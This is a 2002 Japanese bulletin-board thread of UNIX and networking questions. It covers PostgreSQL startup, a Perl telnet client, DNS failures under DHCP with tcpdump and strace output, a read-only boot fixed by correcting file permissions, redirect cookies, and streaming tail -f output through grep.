imode専用のHTTPクライアントを68userさんのC言語のHTTPクライアント(1)を参考に作ろうと思っていて、とりあえず上記のURLで実験して作ろうと試みているのですが、なかなかうまくいかないので、68userさんの力をかして頂きたいと思う次第です。

No. 2763 # 68user 2002/06/15 (土) 22:24:44
>>2762 きば
i-mode 端末のみで利用可能なページということですね?

なら、
    http://www.nttdocomo.co.jp/p_s/imode/tag/s2.html
を参考にして、
    GET /yahoo/index.html HTTP/1.0
    User-Agent: DoCoMo/1.0/N209i
などなど。

No. 2764 # きば 2002/06/15 (土) 22:34:50
はい。imodeのみ利用可能なページです。
なるほど、、
urlをみてもうちょっとがんばってみます。
貴重なご意見ありがとうございます。

No. 2765 # 黒木 2002/06/16 (日) 01:28:01
>>2761 68user
有難う御座いました。これで良いですね。

No. 2766 # バクモン 2002/06/17 (月) 12:05:12
>>2753 68user
ご回答ありがとうございます。
以下のようにロジックを変更しようかと思います。

・ftpをバックグランドで動かす
・jobs -lの結果をテキストファイルに落とす
・5分sleepする(※1)
・grepとawkを使用して、テキストファイルからftpのプロセスIDを取得する
・ps -p にて取得したプロセスIDのプロセス生存を確認
・ps -p のリターンコードが0以外であればkillするif文をおこなう(※2)

こんな感じかな、と考えています。
怖い部分は※1,2です。
※1:とりあえずユーザさんには現在の環境でgetが3分を越えることは
            ないといわれているので、安全を見て5分sleepさせるようにしたが
            本当に大丈夫か?
>>ユーザさんがOKと言っているので、問題なし・・・かな。
※2:ps -p [プロセスID]でHITしなかった場合、リターンコードは必ず
            0以外となる。逆にHITした場合は、必ず0となる。
>>このハンドリングは正しいのか、ちょっと自信なし。

色々とご回答ありがとうございました。

No. 2767 # ユウ 2002/06/18 (火) 19:36:45
はじめまして。
私は、最近linuxを使い出した初心者です。
最近、仕事でpostgresqlをインストールしました。
インストールには成功したようなのですが、
$ pg_ctl startで起動をするとpostgresql(postmaster?)は起動します。
しかし
$ postmasterでは、
    DEBUG ...
    DEBUG ...
    DEBUG ...
    DEBUG ...
と出力され、その後エラーメッセージも何も出なくて、反応が無くなってしまいます。(いつも、ctrl+cで抜けています)
どうしてでしょうか?
どなたかご存知の方、ご教授ください。

No. 2768 # ユウ 2002/06/18 (火) 19:44:07
書き忘れていました。
バージョン:postgresql-7.11
環境:open blocksというlinuxマシンです。
            (redhatでも同様でした)

No. 2769 # 68user 2002/06/18 (火) 21:26:29
>>2767 ユウ
> $ postmasterでは、
引数なしで実行したのですか? データベースクラスタの場所はどうやって
指定しているのですか? 環境変数 PGDATA?

> DEBUG ...
この ... というのは省略したのですか? 本当に ... と表示されたのですか?

> その後エラーメッセージも何も出なくて、反応が無くなってしまいます。

それはフォアグラウンドで起動しているだけで、正常起動じゃないんでしょうか?

        http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/postmaster-start.html
        > サーバを起動する一番簡単な方法例は、
        >  postmaster -D /usr/local/pgsql/data
        > となり、サーバをフォアグラウンドで走らせます。
        > バックグランドでpostmasterを起動する には通常のシェルの構文を使います。

また、
    % sh -x pg_ctl start
として、pg_ctl 内で実行される postmaster の引数を確認するのも
よいでしょう。


>>2766 バクモン
> ※2:ps -p [プロセスID]でHITしなかった場合、リターンコードは必ず
> 0以外となる。逆にHITした場合は、必ず0となる。
> >>このハンドリングは正しいのか、ちょっと自信なし。
問題ないと思いますが、それでも心配なら
    % ps -p [pid] | grep スクリプト名
などなど。

No. 2770 # せと [E-mail] 2002/06/19 (水) 09:55:45
はじめまして。
ネットワークプログラミングの知識を参考にさせてもらっています。
で、ひとつ作りたいプログラムがあって質問させてください。
現在PERLを利用して、TERATERMのマクロのようにプログラムの出力結果を分析して、
次のバッチの投入のような監視?ツールを作りたいと思っています。
で、ソケットをつかってポート23にアクセスしに行くのですが、
固まってしまいます。ポート80や110にはここのサイトの見本をまねて
アクセスすることは出来るのですが・・・。
shでやるというのも考えられるのですが、suではパスワードを聞いてきますし、
別のアプリ実行しても制御が完全にアプリ側に移るんで無理ですよね?

ポート23にアクセスして結果をやり取りするにはどうしたらよいのでしょうか?
どなたかお分かりでしたらヒントをお願いします。

No. 2771 # ユウ 2002/06/19 (水) 11:26:13
>>2769 68user
お返事ありがとうございます。
質問の書き方が下手で、申し訳がありません。
PGDATA=/usr/local/pgsql/dataを設定していて
$ postmaster
は引数なしで実行しています。(pg_ctl startもそうです)
DEBUG...はDEBUGのあとの出力を省略させていただきました。
UNIXに関しても、パソコンに関しても本当に初心者で、何がどうなってるのかわからない状態なのですが、長くなりますが詳しく書かせていただきます。
$pg_ctl startを実行すると
postmaster successfully started
と出力されたあとに
DEBUG...(省略しています)と5行でて、そこでreturnキーを押下すると
[postgres@AAAServer postgres]$
と次のコマンド入力が可能になります。
しかし
$ postmasterを実行しても
postmaster successfully started
というメッセージは出ないで、
DEBUG...(省略しています)と5行でてreturnキーを押下しても
[postgres@AAAServer postgres]$
とはならず、改行されるだけです。
(以上は、openblocks,redhat両方共の環境です)

いろいろ試してみると、
redhat環境では、/usr/local/pgsql/data/postgresql.confに
silent_mode = on
tcpip_socket = on
syslog = 2
と追記して
$ postmasterを実行すると
DEBUG...(省略します)とは出力されないで、
[postgres@AAAServer postgres]$
となり、postgresqlは起動しました。
そこで、openblocksでpostgres.confを上記のように変更して
$ postmasterを実行しました。すると
FATAL 1: 'silent' is not valid option name
とエラーが帰ってきました。
$pg_ctl startで実行した結果も、
postmaster successfully started
と出力された後に、同様のエラーが帰ってきました。
(postgres.confの変更内容のsilentをコメント化したらsilentの下に追記した、tcpip_socketで同様のエラーが起きます。)

申し訳がありませんが、ご教授ください。

No. 2772 # ユウ 2002/06/19 (水) 12:04:39
お返事ありがとうございます。
質問の書き方が下手で、申し訳がありません。
PGDATA=/usr/local/pgsql/dataを設定していて
$ postmaster
は引数なしで実行しています。(pg_ctl startもそうです)
DEBUG...はDEBUGのあとの出力を省略させていただきました。
UNIXに関しても、パソコンに関しても本当に初心者で、何がどうなってるのかわからない状態なのですが、長くなりますが詳しく書かせていただきます。
$pg_ctl startを実行すると
postmaster successfully started
と出力されたあとに
DEBUG...(省略しています)と5行でて、そこでreturnキーを押下すると
[postgres@AAAServer postgres]$
と次のコマンド入力が可能になります。
しかし
$ postmasterを実行しても
postmaster successfully started
というメッセージは出ないで、
DEBUG...(省略しています)と5行でてreturnキーを押下しても
[postgres@AAAServer postgres]$
とはならず、改行されるだけです。
(以上は、openblocks,redhat両方共の環境です)

いろいろ試してみると、
redhat環境では、/usr/local/pgsql/data/postgresql.confに
silent_mode = on
tcpip_socket = on
syslog = 2
と追記して
$ postmasterを実行すると
DEBUG...(省略します)とは出力されないで、
[postgres@AAAServer postgres]$
となり、postgresqlは起動しました。
そこで、openblocksでpostgres.confを上記のように変更して
$ postmasterを実行しました。すると
FATAL 1: 'silent' is not valid option name
とエラーが帰ってきました。
$pg_ctl startで実行した結果も、
postmaster successfully started
と出力された後に、同様のエラーが帰ってきました。
(postgres.confの変更内容のsilentをコメント化したらsilentの下に追記した、tcpip_socketで同様のエラーが起きます。)

申し訳がありませんが、ご教授ください。

No. 2773 # 68user 2002/06/19 (水) 13:48:40
>>2770 せと
> で、ソケットをつかってポート23にアクセスしに行くのですが、
> 固まってしまいます。
要は telnet クライアントを作りたいと。

接続後、telnet プロトコルに従ってネゴシエーションをする
必要があります。詳細は http://www.faqs.org/rfcs/rfc318.html
perl のモジュールを使うなら Net::Telnet がよいでしょう。

ただし、telnet クライアントができても、文字の送信/文字の
受信が可能になるだけです。エラー発生の判断などはやはり
プログラム側で行わなくてはいけません。

というわけで、素直に
> プログラムの出力結果を分析して、次のバッチの投入のような監視?ツール
を行うスクリプトを作った方がよいでしょう。

> suではパスワードを聞いてきますし、
> 別のアプリ実行しても制御が完全にアプリ側に移るんで無理ですよね?
危惧しておられることがよくわからないのですが、普通はスクリプトなどを
書けば実現可能です。


>>2772 ユウ
> $ postmasterを実行しても
> postmaster successfully started
> というメッセージは出ないで、
> DEBUG...(省略しています)と5行でてreturnキーを押下しても
> [postgres@AAAServer postgres]$
> とはならず、改行されるだけです。
それはそれで正常です。キーの入力をそのアプリが奪うような状況を
「フォアグラウンドで動作している」と言います。逆に、アプリが
裏で動いているような状況を「バックグラウンドで動作している」
と言います。
    http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/postmaster-start.html
にある通り、postmaster を実行すると、単にフォアグラウンドで
動くという仕様になっているだけです。postmaster を実行した後、
別ウィンドウで psql を実行すると、ちゃんと接続できるはずです。

> $ postmasterを実行しても
> postmaster successfully started
> というメッセージは出ないで、
postmaster successfully started という文字列を表示をしているのは
pg_ctl だからです。

postmaster をバックグラウンドで動かすには、
    - postmaster & として起動する。
    - postgresql.conf を修正して silent_mode=true とする。
    - postmaster -S とする。
    - postmaster -c silent_mode=true とする。
などの方法があります (true と on は同じ)。全てマニュアル
    http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/runtime-config.html
に書いてあります。

> FATAL 1: 'silent' is not valid option name
'silent_mode' is ... ならわかりますが、`silent' is ... となるということは、
postgresql.conf に
    silent=true
などと書いていませんか?

> tcpip_socketで同様のエラーが起きます。
ということは、その上にある行がおかしい可能性もあります。

とにかく、まずは postgresql.conf への追加時に修正ミスをしていないかを
疑うべきでしょう。

あとは、OpenBlockS にインストールされている PostgreSQL のバージョンと
RedHat にインストールされている PostgreSQL のバージョンが違うとか。

No. 2774 # ユウ 2002/06/19 (水) 14:38:00
>>2773 68user
ご指摘の通りでした。
silent_mode,tcpip_socketにのエラーは直りましたが、syslogでエラーが出る状態です。なぜか解らないですけど、redhatで成功しているpostgresql.confをコピーしてきます。
ありがとうございました。

No. 2775 # レイラ 2002/06/19 (水) 14:44:12
初めて投稿します。Solarisでハードウェアの診断をする機能があると聞きました。旧SUN OSでは、ダイアグというそうですが、オンボードやHDDの状態を診断して、異常個所をリストアップしてくれるような機能があれば、教えてちょんまげ!何卒よろしくお願いします。

No. 2776 # だいすけ 2002/06/19 (水) 14:48:26
echoサーバ(C言語)でのことですが
#include <sys/uio.h>
#include <unistd.h>
#include <sys/param.h>
#include <netinet/in.h>
#include <arpa/inet.h>
これらがなくても正常にコンパイルできるのですが、必要なのでしょうか?

No. 2777 # ユウ 2002/06/19 (水) 15:10:12
ご指摘の通りでした。
silent_mode,tcpip_socketにのエラーは直りましたが、syslogでエラーが出る状態です。なぜか解らないですけど、redhatで成功しているpostgresql.confをコピーしてきます。
ありがとうございました。

No. 2778 # 紅の猫 [E-mail] 2002/06/19 (水) 21:45:01
#2776
>これらがなくても正常にコンパイルできるのですが、必要なのでしょうか?
windowsでならば必要ないと思います。

No. 2779 # has 2002/06/19 (水) 21:51:05
こんばんは。
最近はお一人で回答をしておられるようでおつかれさまです >68user
とかいいつつ私も質問しに来てるんですが…。

で早速ですがどなたか知恵をお貸しください。

現在P4マシン上でRedhat7.1.94を利用しており、100BASEカードを使って
LAN経由でインターネットにアクセスしています。
IPはDHCPサーバから割り振られているのですが、Netscapeなど、
どうやらgethostbynameを呼んでいると思われるプログラムが
名前解決できずに困っています。

ただしnslookupやhostコマンドでは正しく名前解決できる上、
Netscape等からも数字のIPを直に打てばアクセスできています。
試しに/etc/hostsに[216.239.33.101 www.google.co.jp]を記述すると、
Netscapeからもアクセスできました。

dhcpのクライアントにはdhcpcd-1.3.18を[/sbin/dhcpcd -n eth0]で
起動していて、自ホストのIPは正しく取得できているようです。
/etc/host.confには[order hosts,bind]のみを記述しており、
resolve.confにはWin2k動作時に調べておいたLAN内DNSサーバの指定
[nameserver 192.168.0.1]を記述しています。

自分なりに無い知識をいくらかでも埋めようとgoogleで探し回ったのですが
全てに目を通すほどパワーが続きませんでした。
どうぞよろしくお願いします。

No. 2780 # aozora 2002/06/20 (木) 00:23:56
はじめまして。

あまりにも簡単な質問のようで申し訳ないのですが、
「ソケット」っていうのは、「IPアドレスとポート番号を組み合わせたもの」でしょうか?
どこで読んだのか、「ポート番号とプロセスIDを組み合わせたもの」という考えが頭を離れず、
自分でもいろいろ調べたのですが、解答は見つかりませんでした。
もしかしたら見当違いな質問なのかもしれませが、
ソケットの知識をお持ちの方がおりましたら、ご教授願います。

どうぞよろしくお願い致します。

No. 2781 # 68user 2002/06/20 (木) 05:30:37
>>2779 has
ども。最近会社でもやる気ゼロなので、回答なぞしてるんですわ。

もしかして Netscape を起動した後に dhcp クライアントを起動
してません? もしそうなら順番を逆にしてみるとか。

そうでないなら、tcpdump の結果を見せてくださいな。

あと、あらゆる gethostbyname が失敗してますか?
    % perl -e "use Socket;print inet_ntoa(inet_aton('www.jp.freebsd.org'))"
もダメですか?

>>2780 aozora
> 「ソケット」っていうのは、「IPアドレスとポート番号を組み合わせたもの」
> でしょうか?
「IP アドレスとポート番号を組み合わせたもの」は相手を一意に特定するための
識別子で、たとえるなら電話番号です。
# ただし、それは IP の話。UNIX ドメインソケットでは、ファイルが識別子です。

「ソケット」は、通信路の端点で、たとえるなら電話機です。

これを同じものと考えてしまうと、例えば bind(2) が理解できなく
なります。bind(2) はたとえるなら電話機に電話線をつなぐという
感じでしょうか。

> 「ポート番号とプロセスIDを組み合わせたもの」
違います。1プロセスから複数のソケットを使うことができますから。

No. 2782 # shido 2002/06/20 (木) 11:32:14
初めて書き込みをします。
UNIXは、まだ初心者です。

お聞きしたい事を書き込みます。
現在、「share」コマンドでディレクトリを共有した後、「dfmount」コマンドで共有されたディレクトリにアクセス中のクライアント名を取り出そうとしています。
「dfmount」コマンドで情報が取れないのですが、どうしてなのでしょうか?
「share」の情報を書き込みます。
> /usr/sbin/share
- /share rw=client "File Service"
- /home rw=nini:gp7000s,root=gp7000s "File Service"
- /shared rw=osl:gp7000s,root=gp7000s "File Service"
>

No. 2783 # シド 2002/06/20 (木) 11:41:06
はじめて書き込みます。
UNIXの初心者シドです。
少し教えてほしいことが有ります。
知っていられる方は、お教え願えないでしょうか?
「share」コマンドを実行して、「dfmounts」コマンドを実行すると何も表示されません。なぜでしょうか?
「share」の情報と「dfmounts」コマンドを実行したときの表示部分を書きます。
> /usr/sbin/share
- /share rw=client "File Service"
- /home rw=nini:gp7000s,root=gp7000s "File Service"
- /shared rw=osl:gp7000s,root=gp7000s "File Service"
> /usr/sbin/dfmounts
>

No. 2784 # シゲ 2002/06/20 (木) 12:21:48
UNIX初心者(パソコンも初心者です)の私にどうか教えてください。

telnetを使って、redhat環境のマシンに接続して操作をしています。
$shutdown -r now
で再起動をしました。
すると、立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、立ち上がって普通は
[ユーザ名(マシン名)カレントディレクトリ]$
と出るところで、マシン名がnone(本来はmizuho)になっていました。そして、書き込み可能(-wrxwrxwrx)のファイルを操作しようとすると、読取専用とエラーメッセージが出て操作できなくなってしまいました。(全ファイルそうです)
  
いろいろやってみた結果、
$mount -o remount, rw /dev/hda5 /
で、書き込み可能にはなりましたが、再起動をすると読み込み専用に戻ってしまいます。
(boot.log,messageを見てみましたが、snmpd shutdown failedと出ています。これって関係ありますか?)
  
どなたか直し方を教えてください。
お願いします。

それと今、boot画面のメッセージをチェックしようとしているのですが、1行ずつ進める方法があるらしいです。これってどうやるのですか?

No. 2785 # うみ [E-mail] 2002/06/20 (木) 18:18:16
はじめまして。
現在どうしても解決できない問題があり、書き込みました。
どなたかご存知の方いらっしゃいましたら、レスよろしくお願いします。

WEBサーバにおいてLocationヘッダで指定したURLへリダイレクトさせて、
かつリダイレクト先へのHTTPリクエストにCookieを設定したいのですが、
設定できない状態になっています。

---------------------------------------------------------
HTTP/1.1 302 Found\n
Set-Cookie: test=a; domain=www.hogehoge.co.jp; path=/\n
Location: http://www.hogehoge.co.jp\n\n
---------------------------------------------------------

のようなレスポンスを返却するCGIを作成したのですが、上記レス
ポンスを返すサーバとリダイレクト先のサーバが異なる場合、次の
リクエストにCookieが付加されてきません。
Cookieを設定できるのは、自分と同じドメインのみなのでしょうか。

当たり前の事だったら申し訳ありません。
よろしくお願いします。

No. 2786 # 68user 2002/06/20 (木) 19:28:47
>>2785 うみ
> Set-Cookie: test=a; domain=www.hogehoge.co.jp; path=/\n
cookie で domain をセットしたことがないのでよく知りませんが、
無理なんじゃないでしょうか。これができるなら、任意のサーバの
cookie を外部からセットできることになります。

http://www2.studyinghttp.net/cookies.html を見ると、
    server-1.hogehoge.co.jp で
        Set-Cookie: test=a domain=hogehoge.co.jp
    という cookie を吐くと server-1.hogehoge.co.jp や
    server-2.hogehoge.co.jp に送り返されるようになる。
ということではないかと思います。

もし、「Location なしだとうまくいくが、Location ありだとダメ」
ということなら、上記の認識は間違っているんでしょうけど。

>>2784 シゲ
> 立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、
このときコンソールには何が出力されていますか? 症状からすると
何かしらのエラーが発生して、Read-only で mount され、シングル
ユーザモードで起動しているように見えますが、根本原因がコンソール
に表示されていると思います。

>>2783 シド
>>2775 レイラ
僕には全くわからない分野なので、お役に立てないようです。

No. 2787 # 68user 2002/06/20 (木) 19:32:56
>>2786 68user
>> 立ち上がるまでに10分以上(普通は3分ぐらいだと思う)かかり、
> 何かしらのエラーが発生して、Read-only で mount され、シングル
> ユーザモードで起動しているように見えますが
あ、10分待てば起動するのなら違うのかなぁ。

> snmpd shutdown failedと出ています。これって関係ありますか?
shutdown 時のエラーなので関係ないと思います (実は関係あったり
するのかもしれませんけど)。

> 1行ずつ進める方法があるらしいです。
少なくとも FreeBSD では、Scroll Lock を押せばスクロールが止まり、
カーソルキーで移動できます。Linux ではどうなのかはわかりません。

No. 2788 # aozora 2002/06/20 (木) 21:18:13
>>2781 68user
ソケットについてのご教授、ありがとうございました。
かなり間違って理解していたようですが、
お陰様でソケットの考え方について理解できるようになりました。

No. 2789 # シゲ 2002/06/20 (木) 21:21:47
>>2786 68user
お返事ありがとうございます。
早速、scroll lockで画面と止めながら(出来ました!)エラーを見てみました。
Updating /etc/fstab failed to open /proc/partitions:No such file or directory

Flushing all current rules and user defined chains:ipachains:incompatible with this kernel

Clearing all current rules and user and user defined chains:ipchains:Incompatible with this kernel

Starting system logger

Errot:MM:mm:core:failed to open semaphore file(read-only file system):OS:No such file or directory

mount:special device LABEL=/boot does not exisist

Starting crond:crond:can't open or create /var/run/crond/pid:Read-only file system

と7箇所でエラーが出てました。
これを見て私がわかったのは、
/proc/partitionsがない
/bootの何かがない
と言うことです。
見てみると、/proc,/boot両ディレクトリの中がまったく存在しませんでした。
何じゃコリャ!
UNIX初心者(パソコンも)にはまったく解りません。

どうか、ご教授ください。

No. 2790 # has 2002/06/21 (金) 02:14:05
こんばんは。
お仕事大変ですな。まあそう腐らずに頑張ってください >68user

さてガキの使いですんません。宿題やってきました。

まずdhcpcdですが、psで確認しても起動時から動いているようなので、
Netscapeの方が先ということはなさそうです。
次にperlスクリプトですが、残念ながら、
Bad arg length for Socket::inet_ntoa, length is 0, should be 4 at -e line 1.
と表示されます。要は正引きが失敗しているようです。
逆引きは引数の渡し方がわかりませんでした。
# なんせlinuxからはweb検索にも支障をきたしているもので(^^;)

最後にtcpdumpの出力です。tcpdumpを動かしてから、
% host www.jp.freebsd.org
のコマンドと、netscapeにてhttp://www.jp.freebsd.org
http://210.157.158.42/へのアクセスなどをしてみました。
# が、記録に残っているかは私にはわかりませんでした

# /usr/sbin/tcpdump
tcpdump: listening on eth0
01:47:38.943528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1226176673 win 8576 (DF)
01:47:38.943528 192.168.0.40.32797 > 192.168.0.1.domain: 29608+ PTR? 198.129.90.143.in-addr.arpa. (45) (DF)
01:47:38.963528 192.168.0.39.3276 > 143.90.129.198.http: S 22004303:22004303(0) win 8192 <mss 1460,nop,nop,sackOK> (DF)
01:47:38.983528 43.242.210.37.6699 > 192.168.0.33.1190: . 3236267430:3236268764(1334) ack 2911899325 win 17252 (DF)
01:47:38.983528 192.168.0.33.1190 > 43.242.210.37.6699: . ack 4294960438 win 17520 <nop,nop,sack sack 1 {4294961772:1334} > (DF)
01:47:38.993528 211.129.12.43.domain > 192.168.0.40.32797: 29608 1/2/2 (141)
01:47:38.993528 192.168.0.40 > 211.129.12.43: icmp: 192.168.0.40 udp port 32797 unreachable [tos 0xc0]
01:47:38.993528 211.129.14.134.domain > 192.168.0.40.32797: 29608 1/2/2 (141)
01:47:38.993528 192.168.0.40 > 211.129.14.134: icmp: 192.168.0.40 udp port 32797 unreachable [tos 0xc0]
01:47:39.003528 143.90.129.198.http > 192.168.0.39.3044: . 5897:6433(536) ack 0 win 32767
01:47:39.013528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1 win 8576 (DF)
01:47:39.013528 143.90.129.198.http > 192.168.0.39.3044: . 6433:6969(536) ack 0 win 32767
01:47:39.013528 192.168.0.39.3044 > 143.90.129.198.http: . ack 1 win 8576 (DF)
01:47:39.023528 43.242.210.37.6699 > 192.168.0.33.1191: . 3298096123:3298097457(1334) ack 2981221337 win 17235 (DF)
01:47:39.023528 143.90.129.198.http > 192.168.0.39.3276: S 1909102369:1909102369(0) ack 22004304 win 536 <mss 536>
01:47:39.023528 192.168.0.39.3276 > 143.90.129.198.http: . ack 1 win 8576 (DF)
01:47:39.023528 192.168.0.39.3276 > 143.90.129.198.http: P 1:43(42) ack 1 win 8576 (DF)

No. 2791 # シド 2002/06/21 (金) 10:57:06
困っています。誰か助けてください。
UNIXのファイルシステムと他のファイルシステムの切り分けをどのコマンドを使用すればいいのかわかりません。(他のファイルシステムは、SafeFile/Globalファイルシステムです。)はじめは、fstypコマンドを使用すれば、良いと思ったんですが、UFS(UNIXファイルシステム)しか、出てきません。それにデバイス中です。と言うエラーが発生して、困っています。解決策を知っている方は、お教え願えないでしょうか?

No. 2792 # だいすけ 2002/06/21 (金) 11:45:26
echoサーバ(Perl)の5行目の
5: use Socket;
この文はどういう意味なのでしょうか?
おしえてください。

No. 2793 # だいすけ 2002/06/21 (金) 11:56:41
echoサーバのほうはプログラムに解説してくださっているので、読んでみてなんとか理解できそうなのですが、クライアントのほうを書けそうにありません。クライアントのほうもおしえていただけないでしょうか?

No. 2794 # シゲ 2002/06/21 (金) 12:07:10
>>2786 68user
お騒がせしました。出来ちゃいました。
boot画面を見ていると
can't execute rc.sysinit
となっていたので、rc.sysinitを見てみるとアクセス権が
-rw-r-xr-x
となっていました。これでは実行権がないので
-rwx-r-xr-x
とするとできました。
出来てしまえば簡単なことでした。

ありがとうございました。

No. 2795 # [E-mail] 2002/06/21 (金) 21:09:28
初めまして。大学の授業で初UNIXに相当困り果ててるものです・・・。どうか教えてください。
/usr/dict/words とうゆうファイルは単語の先頭の文字をアルファベット順に並べたものですよね??これを単語のおしまいで分類したものだすようにしたいのです。1行コマンドで・・・。ちなみに大文字と小文字は区別しないで!!!
よろしくお願いします(><)

No. 2796 # 68user 2002/06/21 (金) 23:55:31
>>2790 has
> 最後にtcpdumpの出力です。
Query 投げてないですねぇ。普通は
    23:36:51.920878 192.168.0.5.2275 > 192.168.0.1.domain: 4+ A? www.jp.FreeBSD.org. (36)
    23:36:52.003329 192.168.0.1.domain > 192.168.0.5.2275: 4 1/4/5 A updraft.jp.FreeBSD.ORG (251)
こんな感じのが流れるはずです。念のため、
    % strace dig www.jp.FreeBSD.org
で流れを追ってみてください。うちの FreeBSD では (*BSD は truss)
    % truss dig www.jp.FreeBSD.org|egrep 'socket|connect'
    socket(0x2,0x2,0x0) = 3 (0x3)
    connect(0x3,{ sa_len = 48, sa_family = 120, sa_data = } },16) = 0 (0x0)
となりますが、そちらではどういう結果になりますか?

もし socket さえ行っていないようなら、/etc/host.conf とか
/etc/resolv.conf の解析あたりでこけているような気がします。

なお、nslookup や host は /etc/hosts や /etc/host.conf を
参照せず、必ず DNS サーバに Query を投げるので、原因の
切り分けの際はご注意を。

> resolve.confにはWin2k動作時に調べておいたLAN内DNSサーバの指定
> [nameserver 192.168.0.1]を記述しています。
DHCP クライアントは /etc/resolv.conf を上書きすると思いますが、
上書き後の内容はどうなっていますか?

あとは、DHCP をやめて、手で IP アドレスなどを設定してみると何かに
気づくかも…という役に立たないアドバイスしかないです。


>>2793 だいすけ
> 5: use Socket;
> この文はどういう意味なのでしょうか?
Socket モジュールを使うという宣言です。利点は
    http://x68000.startshop.co.jp/~68user/net/perl4.html
をどうぞ。

>>2793 だいすけ
> クライアントのほうを書けそうにありません。
何がわからないのかわからないので、
    http://x68000.startshop.co.jp/~68user/net/
を読んでくださいとしか言えません。

>>2795
> これを単語のおしまいで分類したものだすようにしたいのです。
> 1行コマンドで・・・。ちなみに大文字と小文字は区別しないで!!!
じゃあヒントだけ。rev というコマンドがあるならそれを
使います。rev がない UNIX なら、わかりません (perl を
使えばできるけど、問題の趣旨とは違うような気がする)。

No. 2797 # HIDE 2002/06/22 (土) 18:05:25
あるログファイルに1行出力されるごとに、その行に特定のキーワードが
あるかどうかを判断して、あった場合はその行を別のログに出力する
といったことをUNIXコマンドでできないかと調べています。
イメージとしては、「tail -f」と「grep」の組み合わせみたいな
感じですが、二つのコマンドをパイプで結合してもダメでした。
何か良い手はないでしょうか? ご存知の方がいたら教えてください。
よろしくお願いします。

No. 2798 # 68user 2002/06/22 (土) 19:26:19
>>2797 HIDE
tail -f log | grep foo でできる環境もあります。FreeBSD と Solaris2.6/8
あたりはできるはず。

というか、できない環境をしらないのでアドバイスはできませんが、tail が
バッファリングしてるのかな?

tail 自体それほど複雑な機能ではないので、さくっと perl などで
自作するのがいいかもしれません。

No. 2799 # HIDE 2002/06/22 (土) 20:19:02
>>2798 68user
ご回答いただきまして、ありがとうございます。

>tail -f log | grep foo でできる環境もあります。FreeBSD と>Solaris2.6/8あたりはできるはず。
  こちらの環境はSolaris2.6です。
         tail -f log | grep foo
  だと意図した形で画面に表示されるのですが、
         tail -f log | grep foo >> log2
  とやるとlog2には何も出力されないんです・・・・・・
  何か環境が変なのかな?

>tail 自体それほど複雑な機能ではないので、さくっと perl などで
>自作するのがいいかもしれません。
  そうですね。実はこの処理は大容量の性能関連のログから必要な
  行を抽出/判定するための使用しようとしているのですが、Perl
  で作ったらログの行が多いからか、逆にそのツールが動いている
  時間はCPUが100%になってしまったのでUNIXコマンドでできないかと
  調べている次第です。(Perlはあまり詳しくないので私の作り方が
  マズイだけかもしれませんが)

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2800 # 68user 2002/06/22 (土) 21:36:23
>>2799 HIDE
> tail -f log | grep foo >> log2
なるほど。grep が出力をバッファリングしてるからですね。ちょっと調べて
みた限りでは、/dev/stderr にリダイレクトしてもダメだし、バッファリング
ありにするオプションはないようなので、
    % tail -f log | perl -ne '$|=1;print if m/foo/' >> log2
てな感じで。

でも、grep でなんとかなりそうな気もするなぁ…。

No. 2801 # 68user 2002/06/22 (土) 22:38:23
>>2800 68user
> /dev/stderr にリダイレクトしてもダメだし
あー、grep 自体は stdout に出力してるだけだから、シェルで
いくら stderr に振ってもどうにもならないですね。

というわけで、続きはここで。
    http://pc.2ch.net/test/read.cgi/unix/1022769156/l50
2ch で質問するのなら最初からそっちで聞けっつーの。

No. 2802 # HIDE 2002/06/22 (土) 22:47:54
>>2800 68user

% tail -f log | perl -ne '$|=1;print if m/foo/' >> log2
をやってみたら、うまくいきました!
いろいろ調べていただいたようで、ありがとうございました。m(__)m

>でも、grep でなんとかなりそうな気もするなぁ…。
微妙〜なとこでうまくいかないのが悔しいですね。(^^;)
でも、この件は急いでいたので大変助かりました。

No. 2803 # HIDE 2002/06/22 (土) 22:52:03
>>2801 68user

>2ch で質問するのなら最初からそっちで聞けっつーの。
至急性が高かったので両方に投稿しておりました。
大変失礼しました。すいません。

No. 2804 # 通りがかり 2002/06/23 (日) 09:16:15
ここまでまるごとパクリっていうのも...

http://www.apk.ne.jp/~yasya/ura/unix/index.html

No. 2805 # has 2002/06/23 (日) 12:10:54
>>2796 68user
digをstrace|egrepした内容です。

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol)

一応ソケットを作りに行ってますが、connectはしてないみたいです。
あと設定ファイルですが、起動のたびに上書きされており、
% cat /etc/resolv.conf
nameserver 192.168.0.1
となっています。

固定IPを設定するのは気がひけるのでまだやってません(^^;)
でも毎回同じIPが割り当てられてる気もするし、MACアドレスとかで
決めてるようならいつものIPを指定してみようかな?

ついでに
>>2781のperlスクリプトをstrace|egrepしてみました。

socket(PF_UNIX, SOCK_STREAM, 0) = 3
connect(3, {sin_family=AF_UNIX, path="/var/run/.nscd_socket"}, 110) = -1 ENOENT (No such file or directory)
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("192.168.0.1")}}, 28) = 0
お手数かけてますがどうぞよろしく。

No. 2806 # 68user 2002/06/23 (日) 17:06:51
>>2805 has
> digをstrace|egrepした内容です。
> socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
> socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
> socket(PF_INET6, SOCK_STREAM, 0) = -1 ENOSYS (Function not implemented)
> socket(PF_INET6, SOCK_STREAM, 0) = -1 EAFNOSUPPORT (Address family not supported by protocol)

> perlスクリプトをstrace|egrepしてみました。
